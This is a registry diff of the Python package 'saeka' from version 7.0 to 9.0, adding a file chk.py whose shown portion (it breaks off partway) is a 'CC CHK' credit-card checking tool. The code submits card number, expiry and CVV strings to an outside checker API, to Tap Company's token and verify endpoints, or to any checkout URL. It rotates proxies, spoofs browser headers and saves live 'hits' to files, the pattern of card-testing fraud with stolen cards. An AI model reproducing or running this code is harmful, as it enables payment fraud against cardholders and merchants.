saeka 7.0__tar.gz → 9.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {saeka-7.0 → saeka-9.0}/PKG-INFO +1 -1
- saeka-9.0/saeka/chk.py +1099 -0
- {saeka-7.0 → saeka-9.0}/saeka.egg-info/PKG-INFO +1 -1
- {saeka-7.0 → saeka-9.0}/saeka.egg-info/SOURCES.txt +2 -0
- saeka-9.0/saeka.egg-info/top_level.txt +1 -0
- {saeka-7.0 → saeka-9.0}/setup.py +1 -1
- {saeka-7.0 → saeka-9.0}/MANIFEST.in +0 -0
- {saeka-7.0 → saeka-9.0}/README.md +0 -0
- /saeka-7.0/saeka.egg-info/top_level.txt → /saeka-9.0/saeka/__init__.py +0 -0
- {saeka-7.0 → saeka-9.0}/saeka.egg-info/dependency_links.txt +0 -0
- {saeka-7.0 → saeka-9.0}/saeka.egg-info/entry_points.txt +0 -0
- {saeka-7.0 → saeka-9.0}/setup.cfg +0 -0
{saeka-7.0 → saeka-9.0}/PKG-INFO
RENAMED
saeka-9.0/saeka/chk.py
ADDED
|
@@ -0,0 +1,1099 @@
|
|
|
1
|
+
# language: Python 3, file: cc_chk.py
|
|
2
|
+
# deps: requests, colorama, cfonts (auto-installed)
|
|
3
|
+
|
|
4
|
+
import os
|
|
5
|
+
import re
|
|
6
|
+
import sys
|
|
7
|
+
import json
|
|
8
|
+
import time
|
|
9
|
+
import base64
|
|
10
|
+
import hashlib
|
|
11
|
+
import getpass
|
|
12
|
+
import threading
|
|
13
|
+
import itertools
|
|
14
|
+
from concurrent.futures import ThreadPoolExecutor, as_completed
|
|
15
|
+
from datetime import datetime
|
|
16
|
+
from typing import Any
|
|
17
|
+
from urllib.parse import urlparse
|
|
18
|
+
|
|
19
|
+
try:
|
|
20
|
+
sys.stdout.reconfigure(encoding="utf-8")
|
|
21
|
+
except Exception:
|
|
22
|
+
pass
|
|
23
|
+
|
|
24
|
+
for _pkg in ("requests", "colorama", "cfonts"):
|
|
25
|
+
try:
|
|
26
|
+
__import__(_pkg)
|
|
27
|
+
except ImportError:
|
|
28
|
+
import subprocess
|
|
29
|
+
subprocess.run([sys.executable, "-m", "pip", "install", "-q", _pkg], check=False)
|
|
30
|
+
|
|
31
|
+
import requests
|
|
32
|
+
from colorama import Fore, Style, init
|
|
33
|
+
from cfonts import render
|
|
34
|
+
|
|
35
|
+
init(autoreset=True)
|
|
36
|
+
|
|
37
|
+
# ---------- palette ----------
|
|
38
|
+
WHITE = Fore.LIGHTWHITE_EX + Style.BRIGHT
|
|
39
|
+
CYAN = Fore.LIGHTCYAN_EX + Style.BRIGHT
|
|
40
|
+
RED = Fore.LIGHTRED_EX + Style.BRIGHT
|
|
41
|
+
GREEN = Fore.LIGHTGREEN_EX + Style.BRIGHT
|
|
42
|
+
YELLOW = Fore.LIGHTYELLOW_EX + Style.BRIGHT
|
|
43
|
+
MAGENTA = Fore.LIGHTMAGENTA_EX + Style.BRIGHT
|
|
44
|
+
DIM = Style.DIM
|
|
45
|
+
R = Style.RESET_ALL
|
|
46
|
+
|
|
47
|
+
# ---------- paths ----------
|
|
48
|
+
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
49
|
+
CONFIG_PATH = os.path.join(SCRIPT_DIR, "config.json")
|
|
50
|
+
|
|
51
|
+
# ---------- endpoints ----------
|
|
52
|
+
CC_API = "https://uncoder.eu.org/cc-checker/api.php"
|
|
53
|
+
CC_HEADERS = {
|
|
54
|
+
"User-Agent": "Mozilla/5.0 (Linux; Android 15) AppleWebKit/537.36 "
|
|
55
|
+
"Chrome/137.0.0.0 Mobile Safari/537.36",
|
|
56
|
+
"Accept": "application/json, text/plain, */*",
|
|
57
|
+
"Accept-Language": "en-US,en;q=0.9",
|
|
58
|
+
"Origin": "https://uncoder.eu.org",
|
|
59
|
+
"Referer": "https://uncoder.eu.org/cc-checker/",
|
|
60
|
+
"X-Requested-With": "XMLHttpRequest",
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
TAP_TOKEN_URL = "https://api.tap.company/v2/tokens/"
|
|
64
|
+
TAP_VERIFY_URL = "https://api.tap.company/v2/card/verify/"
|
|
65
|
+
|
|
66
|
+
CC_RE = re.compile(r"^\d{12,19}\|\d{1,2}\|\d{2,4}\|\d{3,4}$")
|
|
67
|
+
TAG_RE = re.compile(r"<[^>]+>")
|
|
68
|
+
ANSI_RE = re.compile(r"\x1b\[[0-9;]*m")
|
|
69
|
+
STATUS_COLOR = {
|
|
70
|
+
"live": GREEN, "dead": RED, "error": YELLOW, "unknown": YELLOW,
|
|
71
|
+
"valid": GREEN, "invalid": RED, "initiated": MAGENTA,
|
|
72
|
+
"approved": GREEN, "declined": RED,
|
|
73
|
+
}
|
|
74
|
+
|
|
75
|
+
# =========================================================
|
|
76
|
+
# SHA-256 AUTH GATE
|
|
77
|
+
# =========================================================
|
|
78
|
+
|
|
79
|
+
_PW_B64 = [
|
|
80
|
+
"c2Fla2E=",
|
|
81
|
+
"c2Fla2FjdXRpZQ==",
|
|
82
|
+
"Y2hr",
|
|
83
|
+
"c2Fla2FjaGVja2Vy",
|
|
84
|
+
]
|
|
85
|
+
|
|
86
|
+
def _hash(s: str) -> str:
|
|
87
|
+
return hashlib.sha256(s.encode("utf-8")).hexdigest()
|
|
88
|
+
|
|
89
|
+
_VALID_HASHES = {_hash(base64.b64decode(b).decode("utf-8")) for b in _PW_B64}
|
|
90
|
+
|
|
91
|
+
def auth_gate() -> bool:
|
|
92
|
+
banner()
|
|
93
|
+
print(CYAN + " ┌─ authentication " + "─" * 42 + "┐" + R)
|
|
94
|
+
for attempt in range(1, 4):
|
|
95
|
+
try:
|
|
96
|
+
pw = getpass.getpass(f" {YELLOW}password [{attempt}/3] ▸ {R}")
|
|
97
|
+
except Exception:
|
|
98
|
+
pw = input(f" {YELLOW}password [{attempt}/3] ▸ {R}")
|
|
99
|
+
if _hash(pw) in _VALID_HASHES:
|
|
100
|
+
print(" " + GREEN + "✓ access granted" + R)
|
|
101
|
+
time.sleep(0.5)
|
|
102
|
+
return True
|
|
103
|
+
print(" " + RED + f"✗ wrong password ({attempt}/3)" + R)
|
|
104
|
+
time.sleep(0.6)
|
|
105
|
+
print(" " + RED + "too many attempts — exiting" + R)
|
|
106
|
+
return False
|
|
107
|
+
|
|
108
|
+
# =========================================================
|
|
109
|
+
# TERMINAL HELPERS
|
|
110
|
+
# =========================================================
|
|
111
|
+
|
|
112
|
+
def clear() -> None:
|
|
113
|
+
os.system("cls" if os.name == "nt" else "clear")
|
|
114
|
+
|
|
115
|
+
def type_out(text: str, delay: float = 0.008, color: str = "") -> None:
|
|
116
|
+
for ch in text:
|
|
117
|
+
sys.stdout.write(color + ch + R)
|
|
118
|
+
sys.stdout.flush()
|
|
119
|
+
time.sleep(delay)
|
|
120
|
+
print()
|
|
121
|
+
|
|
122
|
+
_status_len = [0]
|
|
123
|
+
|
|
124
|
+
def status_line(text: str) -> None:
|
|
125
|
+
pad = max(0, _status_len[0] - len(ANSI_RE.sub("", text)))
|
|
126
|
+
sys.stdout.write("\r" + text + (" " * pad))
|
|
127
|
+
sys.stdout.flush()
|
|
128
|
+
_status_len[0] = len(ANSI_RE.sub("", text))
|
|
129
|
+
|
|
130
|
+
def clear_status() -> None:
|
|
131
|
+
if _status_len[0]:
|
|
132
|
+
sys.stdout.write("\r" + " " * _status_len[0] + "\r")
|
|
133
|
+
sys.stdout.flush()
|
|
134
|
+
_status_len[0] = 0
|
|
135
|
+
|
|
136
|
+
def hide_cursor() -> None:
|
|
137
|
+
sys.stdout.write("\x1b[?25l")
|
|
138
|
+
sys.stdout.flush()
|
|
139
|
+
|
|
140
|
+
def show_cursor() -> None:
|
|
141
|
+
sys.stdout.write("\x1b[?25h")
|
|
142
|
+
sys.stdout.flush()
|
|
143
|
+
|
|
144
|
+
class Spinner:
|
|
145
|
+
FRAMES = ["◜", "◠", "◝", "◞", "◡", "◟"]
|
|
146
|
+
|
|
147
|
+
def __init__(self, label: str = "working") -> None:
|
|
148
|
+
self.label = label
|
|
149
|
+
self._stop = threading.Event()
|
|
150
|
+
self._t: threading.Thread | None = None
|
|
151
|
+
|
|
152
|
+
def _spin(self) -> None:
|
|
153
|
+
i = 0
|
|
154
|
+
while not self._stop.is_set():
|
|
155
|
+
f = self.FRAMES[i % len(self.FRAMES)]
|
|
156
|
+
sys.stdout.write(f"\r {CYAN}{f}{R} {WHITE}{self.label}{R} ")
|
|
157
|
+
sys.stdout.flush()
|
|
158
|
+
time.sleep(0.1)
|
|
159
|
+
i += 1
|
|
160
|
+
|
|
161
|
+
def __enter__(self):
|
|
162
|
+
hide_cursor()
|
|
163
|
+
self._t = threading.Thread(target=self._spin, daemon=True)
|
|
164
|
+
self._t.start()
|
|
165
|
+
return self
|
|
166
|
+
|
|
167
|
+
def __exit__(self, *a):
|
|
168
|
+
self._stop.set()
|
|
169
|
+
if self._t:
|
|
170
|
+
self._t.join()
|
|
171
|
+
show_cursor()
|
|
172
|
+
sys.stdout.write("\r" + " " * 72 + "\r")
|
|
173
|
+
sys.stdout.flush()
|
|
174
|
+
|
|
175
|
+
def progress_bar(done: int, total: int, width: int = 32, color: str = GREEN) -> str:
|
|
176
|
+
pct = done / total if total else 0
|
|
177
|
+
filled = int(width * pct)
|
|
178
|
+
bar = "█" * filled + DIM + "░" * (width - filled) + R
|
|
179
|
+
return f"{color}{bar}{R} {WHITE}{done:>4}/{total:<4}{R} {YELLOW}{pct*100:5.1f}%{R}"
|
|
180
|
+
|
|
181
|
+
def boxed(lines: list[str], width: int = 64, color: str = CYAN) -> None:
|
|
182
|
+
print(color + "╭" + "─" * (width - 2) + "╮")
|
|
183
|
+
for ln in lines:
|
|
184
|
+
vis = len(ANSI_RE.sub("", ln))
|
|
185
|
+
pad = max(0, width - 4 - vis)
|
|
186
|
+
print(color + "│" + " " + ln + " " * pad + color + "│")
|
|
187
|
+
print(color + "╰" + "─" * (width - 2) + "╯")
|
|
188
|
+
|
|
189
|
+
def banner() -> None:
|
|
190
|
+
clear()
|
|
191
|
+
try:
|
|
192
|
+
art = render("CC CHK", colors=["candy"], align="center")
|
|
193
|
+
except Exception:
|
|
194
|
+
art = "\n C C C H K\n"
|
|
195
|
+
w = 68
|
|
196
|
+
print(CYAN + "═" * w)
|
|
197
|
+
print(art, end="")
|
|
198
|
+
print(CYAN + "═" * w)
|
|
199
|
+
print(WHITE + "kramyer | Raiii Kramyer".center(w))
|
|
200
|
+
print(DIM + "single · bulk · replay · proxy · address · drivers".center(w))
|
|
201
|
+
print(CYAN + "═" * w)
|
|
202
|
+
print()
|
|
203
|
+
|
|
204
|
+
# =========================================================
|
|
205
|
+
# CONFIG
|
|
206
|
+
# =========================================================
|
|
207
|
+
|
|
208
|
+
DEFAULT_CONFIG = {
|
|
209
|
+
"storage_folder": SCRIPT_DIR,
|
|
210
|
+
"proxies": [],
|
|
211
|
+
"checkout_site": "",
|
|
212
|
+
"driver": "auto",
|
|
213
|
+
"tap_api_key": "",
|
|
214
|
+
"address": {
|
|
215
|
+
"first_name": "", "last_name": "",
|
|
216
|
+
"address1": "", "address2": "",
|
|
217
|
+
"city": "", "province_code": "",
|
|
218
|
+
"country_code": "", "zip": "",
|
|
219
|
+
"phone": "", "email": "",
|
|
220
|
+
},
|
|
221
|
+
}
|
|
222
|
+
|
|
223
|
+
def load_config() -> dict:
|
|
224
|
+
if not os.path.isfile(CONFIG_PATH):
|
|
225
|
+
save_config(DEFAULT_CONFIG)
|
|
226
|
+
return dict(DEFAULT_CONFIG)
|
|
227
|
+
try:
|
|
228
|
+
with open(CONFIG_PATH, "r", encoding="utf-8") as f:
|
|
229
|
+
cfg = json.load(f)
|
|
230
|
+
for k, v in DEFAULT_CONFIG.items():
|
|
231
|
+
cfg.setdefault(k, v)
|
|
232
|
+
addr = cfg.setdefault("address", {})
|
|
233
|
+
for k, v in DEFAULT_CONFIG["address"].items():
|
|
234
|
+
addr.setdefault(k, v)
|
|
235
|
+
return cfg
|
|
236
|
+
except Exception:
|
|
237
|
+
return dict(DEFAULT_CONFIG)
|
|
238
|
+
|
|
239
|
+
def save_config(cfg: dict) -> None:
|
|
240
|
+
try:
|
|
241
|
+
with open(CONFIG_PATH, "w", encoding="utf-8") as f:
|
|
242
|
+
json.dump(cfg, f, indent=2, ensure_ascii=False)
|
|
243
|
+
except Exception as e:
|
|
244
|
+
print(" " + RED + f"config save failed: {e}" + R)
|
|
245
|
+
|
|
246
|
+
CFG = load_config()
|
|
247
|
+
|
|
248
|
+
def ensure_storage() -> str:
|
|
249
|
+
folder = CFG.get("storage_folder") or SCRIPT_DIR
|
|
250
|
+
if not os.path.isdir(folder):
|
|
251
|
+
try:
|
|
252
|
+
os.makedirs(folder, exist_ok=True)
|
|
253
|
+
except Exception:
|
|
254
|
+
folder = SCRIPT_DIR
|
|
255
|
+
CFG["storage_folder"] = folder
|
|
256
|
+
save_config(CFG)
|
|
257
|
+
return folder
|
|
258
|
+
|
|
259
|
+
# =========================================================
|
|
260
|
+
# PROXY POOL
|
|
261
|
+
# =========================================================
|
|
262
|
+
|
|
263
|
+
def normalize_proxy(p: str) -> str:
|
|
264
|
+
p = p.strip()
|
|
265
|
+
if not p:
|
|
266
|
+
return ""
|
|
267
|
+
if "://" not in p:
|
|
268
|
+
p = "http://" + p
|
|
269
|
+
return p
|
|
270
|
+
|
|
271
|
+
def proxy_dict(p: str | None) -> dict | None:
|
|
272
|
+
return {"http": p, "https": p} if p else None
|
|
273
|
+
|
|
274
|
+
class ProxyPool:
|
|
275
|
+
def __init__(self, proxies: list[str]) -> None:
|
|
276
|
+
self._proxies = [normalize_proxy(p) for p in proxies if p.strip()]
|
|
277
|
+
self._lock = threading.Lock()
|
|
278
|
+
self._cycle = itertools.cycle(self._proxies) if self._proxies else None
|
|
279
|
+
self._dead: set[str] = set()
|
|
280
|
+
|
|
281
|
+
def __bool__(self): return bool(self._proxies)
|
|
282
|
+
def __len__(self): return len(self._proxies)
|
|
283
|
+
|
|
284
|
+
def next(self) -> str | None:
|
|
285
|
+
if not self._cycle:
|
|
286
|
+
return None
|
|
287
|
+
with self._lock:
|
|
288
|
+
for _ in range(len(self._proxies)):
|
|
289
|
+
p = next(self._cycle)
|
|
290
|
+
if p not in self._dead:
|
|
291
|
+
return p
|
|
292
|
+
self._dead.clear()
|
|
293
|
+
return next(self._cycle) if self._cycle else None
|
|
294
|
+
|
|
295
|
+
def mark_dead(self, p: str) -> None:
|
|
296
|
+
with self._lock:
|
|
297
|
+
self._dead.add(p)
|
|
298
|
+
|
|
299
|
+
def build_pool() -> ProxyPool | None:
|
|
300
|
+
proxies = CFG.get("proxies") or []
|
|
301
|
+
return ProxyPool(proxies) if proxies else None
|
|
302
|
+
|
|
303
|
+
# =========================================================
|
|
304
|
+
# BASE CC API
|
|
305
|
+
# =========================================================
|
|
306
|
+
|
|
307
|
+
def _api_req(cc: str, proxy: str | None) -> tuple[dict, bool]:
|
|
308
|
+
try:
|
|
309
|
+
r = requests.post(CC_API, data={"data": cc}, headers=CC_HEADERS,
|
|
310
|
+
timeout=15, proxies=proxy_dict(proxy))
|
|
311
|
+
if r.status_code != 200:
|
|
312
|
+
return {"status": "error", "message": f"HTTP {r.status_code}"}, False
|
|
313
|
+
body = r.json()
|
|
314
|
+
if isinstance(body, dict):
|
|
315
|
+
return body, False
|
|
316
|
+
return {"status": "error", "message": f"json: {type(body).__name__}"}, False
|
|
317
|
+
except requests.Timeout:
|
|
318
|
+
return {"status": "error", "message": "timeout"}, True
|
|
319
|
+
except requests.ProxyError as e:
|
|
320
|
+
return {"status": "error", "message": f"proxy: {e}"}, True
|
|
321
|
+
except requests.ConnectionError as e:
|
|
322
|
+
return {"status": "error", "message": f"conn: {e}"}, True
|
|
323
|
+
except requests.RequestException as e:
|
|
324
|
+
return {"status": "error", "message": str(e)}, False
|
|
325
|
+
except json.JSONDecodeError as e:
|
|
326
|
+
return {"status": "error", "message": f"bad json: {e}"}, False
|
|
327
|
+
|
|
328
|
+
def api_check(cc: str, pool: ProxyPool | None = None, retries: int = 2) -> dict:
|
|
329
|
+
last: dict = {"status": "error", "message": "no attempt"}
|
|
330
|
+
for attempt in range(retries + 1):
|
|
331
|
+
proxy = pool.next() if pool else None
|
|
332
|
+
res, conn_failed = _api_req(cc, proxy)
|
|
333
|
+
last = res
|
|
334
|
+
if conn_failed and pool and proxy:
|
|
335
|
+
pool.mark_dead(proxy)
|
|
336
|
+
if res.get("status") != "error":
|
|
337
|
+
return res
|
|
338
|
+
if attempt < retries:
|
|
339
|
+
time.sleep(1.0 * (attempt + 1))
|
|
340
|
+
return last
|
|
341
|
+
|
|
342
|
+
# =========================================================
|
|
343
|
+
# DRIVER REGISTRY
|
|
344
|
+
# =========================================================
|
|
345
|
+
|
|
346
|
+
DRIVER_REGISTRY: dict[str, type] = {}
|
|
347
|
+
|
|
348
|
+
def register_driver(name: str):
|
|
349
|
+
def wrap(cls):
|
|
350
|
+
DRIVER_REGISTRY[name.lower()] = cls
|
|
351
|
+
return cls
|
|
352
|
+
return wrap
|
|
353
|
+
|
|
354
|
+
def get_driver(name: str):
|
|
355
|
+
return DRIVER_REGISTRY.get(name.lower())
|
|
356
|
+
|
|
357
|
+
# ---------- Tap Company ----------
|
|
358
|
+
|
|
359
|
+
@register_driver("tap")
|
|
360
|
+
class TapDriver:
|
|
361
|
+
name = "tap"
|
|
362
|
+
|
|
363
|
+
def __init__(self, target: str = "", pool: ProxyPool | None = None,
|
|
364
|
+
api_key: str = "", **kw):
|
|
365
|
+
self.api_key = api_key or CFG.get("tap_api_key", "")
|
|
366
|
+
self.pool = pool
|
|
367
|
+
self.session = requests.Session()
|
|
368
|
+
self.session.headers.update({
|
|
369
|
+
"Authorization": f"Bearer {self.api_key}",
|
|
370
|
+
"Content-Type": "application/json",
|
|
371
|
+
"Accept": "application/json",
|
|
372
|
+
})
|
|
373
|
+
|
|
374
|
+
def _proxy(self):
|
|
375
|
+
if not self.pool:
|
|
376
|
+
return None
|
|
377
|
+
p = self.pool.next()
|
|
378
|
+
return proxy_dict(p) if p else None
|
|
379
|
+
|
|
380
|
+
def _create_token(self, num, mm, yy, cvv) -> str | None:
|
|
381
|
+
addr = CFG.get("address", {})
|
|
382
|
+
body = {"card": {
|
|
383
|
+
"number": num, "exp_month": mm, "exp_year": yy, "cvc": cvv,
|
|
384
|
+
"name": f"{addr.get('first_name','')} {addr.get('last_name','')}".strip(),
|
|
385
|
+
}}
|
|
386
|
+
try:
|
|
387
|
+
r = self.session.post(TAP_TOKEN_URL, json=body,
|
|
388
|
+
timeout=20, proxies=self._proxy())
|
|
389
|
+
if r.status_code in (200, 201):
|
|
390
|
+
return r.json().get("id")
|
|
391
|
+
except Exception:
|
|
392
|
+
pass
|
|
393
|
+
return None
|
|
394
|
+
|
|
395
|
+
def test(self, cc: str) -> dict:
|
|
396
|
+
t0 = time.time()
|
|
397
|
+
parts = cc.split("|")
|
|
398
|
+
if len(parts) != 4:
|
|
399
|
+
return {"status": "error", "message": "bad format", "elapsed": 0}
|
|
400
|
+
num, mm, yy, cvv = parts
|
|
401
|
+
if len(yy) == 2:
|
|
402
|
+
yy = "20" + yy
|
|
403
|
+
if not self.api_key:
|
|
404
|
+
return {"status": "error", "message": "no Tap API key",
|
|
405
|
+
"elapsed": round(time.time() - t0, 2)}
|
|
406
|
+
|
|
407
|
+
token = self._create_token(num, mm, yy, cvv)
|
|
408
|
+
if not token:
|
|
409
|
+
return {"status": "error", "message": "token creation failed",
|
|
410
|
+
"elapsed": round(time.time() - t0, 2)}
|
|
411
|
+
|
|
412
|
+
addr = CFG.get("address", {})
|
|
413
|
+
body = {
|
|
414
|
+
"currency": "KWD",
|
|
415
|
+
"threeDSecure": True,
|
|
416
|
+
"save_card": False,
|
|
417
|
+
"customer": {
|
|
418
|
+
"first_name": addr.get("first_name") or "Test",
|
|
419
|
+
"last_name": addr.get("last_name") or "User",
|
|
420
|
+
"email": addr.get("email") or "test@test.com",
|
|
421
|
+
"phone": {"country_code": "965", "number": "50000000"},
|
|
422
|
+
},
|
|
423
|
+
"source": {"object": "token", "id": token},
|
|
424
|
+
}
|
|
425
|
+
try:
|
|
426
|
+
r = self.session.post(TAP_VERIFY_URL, json=body,
|
|
427
|
+
timeout=20, proxies=self._proxy())
|
|
428
|
+
data = r.json()
|
|
429
|
+
except Exception as e:
|
|
430
|
+
return {"status": "error", "message": str(e),
|
|
431
|
+
"elapsed": round(time.time() - t0, 2)}
|
|
432
|
+
|
|
433
|
+
elapsed = round(time.time() - t0, 2)
|
|
434
|
+
status = str(data.get("status", "unknown")).lower()
|
|
435
|
+
msg = data.get("response", {}).get("message", "") or data.get("message", "")
|
|
436
|
+
if status in ("valid", "invalid"):
|
|
437
|
+
return {"status": status, "message": msg or status,
|
|
438
|
+
"code": str(r.status_code), "elapsed": elapsed}
|
|
439
|
+
if status == "initiated":
|
|
440
|
+
url = data.get("transaction", {}).get("url", "")
|
|
441
|
+
return {"status": "initiated", "message": "3DS required",
|
|
442
|
+
"url": url, "code": str(r.status_code), "elapsed": elapsed}
|
|
443
|
+
return {"status": "unknown", "message": msg or f"HTTP {r.status_code}",
|
|
444
|
+
"code": str(r.status_code), "elapsed": elapsed}
|
|
445
|
+
|
|
446
|
+
# ---------- Generic ----------
|
|
447
|
+
|
|
448
|
+
@register_driver("generic")
|
|
449
|
+
class GenericDriver:
|
|
450
|
+
name = "generic"
|
|
451
|
+
|
|
452
|
+
def __init__(self, target: str, pool: ProxyPool | None = None, **kw):
|
|
453
|
+
self.target = target
|
|
454
|
+
self.pool = pool
|
|
455
|
+
self.session = requests.Session()
|
|
456
|
+
self.session.headers.update({
|
|
457
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
|
|
458
|
+
"AppleWebKit/537.36 Chrome/137.0.0.0 Safari/537.36",
|
|
459
|
+
"Content-Type": "application/json",
|
|
460
|
+
"Accept": "application/json",
|
|
461
|
+
})
|
|
462
|
+
|
|
463
|
+
def _proxy(self):
|
|
464
|
+
if not self.pool:
|
|
465
|
+
return None
|
|
466
|
+
p = self.pool.next()
|
|
467
|
+
return proxy_dict(p) if p else None
|
|
468
|
+
|
|
469
|
+
def _payload(self, num, mm, yy, cvv) -> dict:
|
|
470
|
+
a = CFG.get("address", {})
|
|
471
|
+
return {
|
|
472
|
+
"card_number": num, "exp_month": mm, "exp_year": yy, "cvv": cvv,
|
|
473
|
+
"first_name": a.get("first_name"), "last_name": a.get("last_name"),
|
|
474
|
+
"address1": a.get("address1"), "city": a.get("city"),
|
|
475
|
+
"province_code": a.get("province_code"),
|
|
476
|
+
"country_code": a.get("country_code"), "zip": a.get("zip"),
|
|
477
|
+
"phone": a.get("phone"), "email": a.get("email"),
|
|
478
|
+
}
|
|
479
|
+
|
|
480
|
+
def test(self, cc: str) -> dict:
|
|
481
|
+
t0 = time.time()
|
|
482
|
+
parts = cc.split("|")
|
|
483
|
+
if len(parts) != 4:
|
|
484
|
+
return {"status": "error", "message": "bad format", "elapsed": 0}
|
|
485
|
+
num, mm, yy, cvv = parts
|
|
486
|
+
if len(yy) == 2:
|
|
487
|
+
yy = "20" + yy
|
|
488
|
+
try:
|
|
489
|
+
r = self.session.post(self.target, json=self._payload(num, mm, yy, cvv),
|
|
490
|
+
timeout=20, proxies=self._proxy())
|
|
491
|
+
except Exception as e:
|
|
492
|
+
return {"status": "error", "message": str(e),
|
|
493
|
+
"elapsed": round(time.time() - t0, 2)}
|
|
494
|
+
|
|
495
|
+
elapsed = round(time.time() - t0, 2)
|
|
496
|
+
text = r.text[:400].lower()
|
|
497
|
+
if r.status_code in (200, 201) and any(k in text for k in
|
|
498
|
+
("success", "approved", "charged", "order", "valid")):
|
|
499
|
+
return {"status": "approved", "message": "approved",
|
|
500
|
+
"code": str(r.status_code), "elapsed": elapsed}
|
|
501
|
+
if any(k in text for k in ("decline", "denied", "insufficient", "invalid")):
|
|
502
|
+
return {"status": "declined", "message": "declined",
|
|
503
|
+
"code": str(r.status_code), "elapsed": elapsed}
|
|
504
|
+
return {"status": "unknown", "message": f"HTTP {r.status_code}",
|
|
505
|
+
"code": str(r.status_code), "elapsed": elapsed}
|
|
506
|
+
|
|
507
|
+
# ---------- auto-detect ----------
|
|
508
|
+
|
|
509
|
+
def detect_driver_name(site: str) -> str:
|
|
510
|
+
s = site.lower()
|
|
511
|
+
if "tap.company" in s or s == "tap":
|
|
512
|
+
return "tap"
|
|
513
|
+
return "generic"
|
|
514
|
+
|
|
515
|
+
def resolve_driver(site: str, pool: ProxyPool | None) -> Any | None:
|
|
516
|
+
if not site:
|
|
517
|
+
return None
|
|
518
|
+
name = CFG.get("driver") or "auto"
|
|
519
|
+
if name == "auto":
|
|
520
|
+
name = detect_driver_name(site)
|
|
521
|
+
cls = get_driver(name)
|
|
522
|
+
if not cls:
|
|
523
|
+
return None
|
|
524
|
+
try:
|
|
525
|
+
return cls(site, pool=pool)
|
|
526
|
+
except Exception:
|
|
527
|
+
return None
|
|
528
|
+
|
|
529
|
+
# =========================================================
|
|
530
|
+
# STORAGE
|
|
531
|
+
# =========================================================
|
|
532
|
+
|
|
533
|
+
class Storage:
|
|
534
|
+
def __init__(self, folder: str):
|
|
535
|
+
self.folder = folder
|
|
536
|
+
os.makedirs(folder, exist_ok=True)
|
|
537
|
+
stamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
538
|
+
self.hits_path = os.path.join(folder, f"hits_{stamp}.txt")
|
|
539
|
+
self.full_path = os.path.join(folder, f"full_{stamp}.txt")
|
|
540
|
+
self.checkout_path = os.path.join(folder, f"checkout_{stamp}.txt")
|
|
541
|
+
self._lock = threading.Lock()
|
|
542
|
+
for p in (self.hits_path, self.full_path, self.checkout_path):
|
|
543
|
+
with open(p, "a", encoding="utf-8") as f:
|
|
544
|
+
f.write(f"# run {datetime.now().isoformat(timespec='seconds')}\n")
|
|
545
|
+
|
|
546
|
+
def write(self, cc: str, api_res: dict, co_res: dict | None = None) -> None:
|
|
547
|
+
with self._lock:
|
|
548
|
+
with open(self.hits_path, "a", encoding="utf-8") as f:
|
|
549
|
+
f.write(cc + "\n")
|
|
550
|
+
line = (f"{cc}\t{api_res.get('status')}\t"
|
|
551
|
+
f"{api_res.get('network','')}\t{api_res.get('color','')}\n")
|
|
552
|
+
with open(self.full_path, "a", encoding="utf-8") as f:
|
|
553
|
+
f.write(line)
|
|
554
|
+
if co_res:
|
|
555
|
+
with open(self.checkout_path, "a", encoding="utf-8") as f:
|
|
556
|
+
f.write(f"{cc}\t{co_res.get('status')}\t{co_res.get('message','')}\n")
|
|
557
|
+
|
|
558
|
+
# =========================================================
|
|
559
|
+
# RENDER
|
|
560
|
+
# =========================================================
|
|
561
|
+
|
|
562
|
+
def render_block(cc: str, api_res: dict, co_res: dict | None = None) -> None:
|
|
563
|
+
api_status = str(api_res.get("status", "unknown")).lower()
|
|
564
|
+
api_color = STATUS_COLOR.get(api_status, YELLOW)
|
|
565
|
+
|
|
566
|
+
print()
|
|
567
|
+
print(CYAN + "═" * 62)
|
|
568
|
+
print(WHITE + " RESULT " + DIM + "▸ " + R + WHITE + cc)
|
|
569
|
+
print(CYAN + "═" * 62)
|
|
570
|
+
print(f" {'Status':<10}: {api_color}{api_status.upper()}{R}")
|
|
571
|
+
for key, label in (("message", "Message"), ("card", "Card"),
|
|
572
|
+
("network", "Network"), ("color", "Color")):
|
|
573
|
+
v = api_res.get(key)
|
|
574
|
+
if v:
|
|
575
|
+
print(f" {label:<10}: {WHITE}{v}{R}")
|
|
576
|
+
if api_res.get("msg"):
|
|
577
|
+
clean = TAG_RE.sub("", str(api_res["msg"])).strip()
|
|
578
|
+
print(f" {'Detail':<10}: {DIM}{clean}{R}")
|
|
579
|
+
if co_res:
|
|
580
|
+
cs = co_res.get("status", "unknown").lower()
|
|
581
|
+
col = STATUS_COLOR.get(cs, YELLOW)
|
|
582
|
+
print(f" {'Driver':<10}: {col}{cs.upper()}{R}")
|
|
583
|
+
if co_res.get("message"):
|
|
584
|
+
print(f" {'Drv.Msg':<10}: {WHITE}{co_res['message']}{R}")
|
|
585
|
+
if co_res.get("url"):
|
|
586
|
+
print(f" {'URL':<10}: {CYAN}{co_res['url']}{R}")
|
|
587
|
+
if co_res.get("code"):
|
|
588
|
+
print(f" {'Code':<10}: {WHITE}{co_res['code']}{R}")
|
|
589
|
+
if co_res.get("elapsed"):
|
|
590
|
+
print(f" {'Time':<10}: {DIM}{co_res['elapsed']}s{R}")
|
|
591
|
+
print(CYAN + "═" * 62)
|
|
592
|
+
print()
|
|
593
|
+
|
|
594
|
+
def render_compact(cc: str, api_res: dict, co_res: dict | None = None) -> None:
|
|
595
|
+
st = str(api_res.get("status", "unknown")).lower()
|
|
596
|
+
col = STATUS_COLOR.get(st, YELLOW)
|
|
597
|
+
tag = f"{col}{st.upper():<5}{R}"
|
|
598
|
+
extra = ""
|
|
599
|
+
if st == "live":
|
|
600
|
+
bits = [str(b) for b in (api_res.get("network"), api_res.get("color")) if b]
|
|
601
|
+
if bits:
|
|
602
|
+
extra = DIM + " " + " / ".join(bits) + R
|
|
603
|
+
co = ""
|
|
604
|
+
if co_res:
|
|
605
|
+
cs = co_res.get("status", "unknown").lower()
|
|
606
|
+
co = f" {STATUS_COLOR.get(cs, YELLOW)}⌁ {cs}{R}"
|
|
607
|
+
print(f" {tag} {WHITE}{cc}{R}{extra}{co}")
|
|
608
|
+
|
|
609
|
+
# =========================================================
|
|
610
|
+
# SINGLE
|
|
611
|
+
# =========================================================
|
|
612
|
+
|
|
613
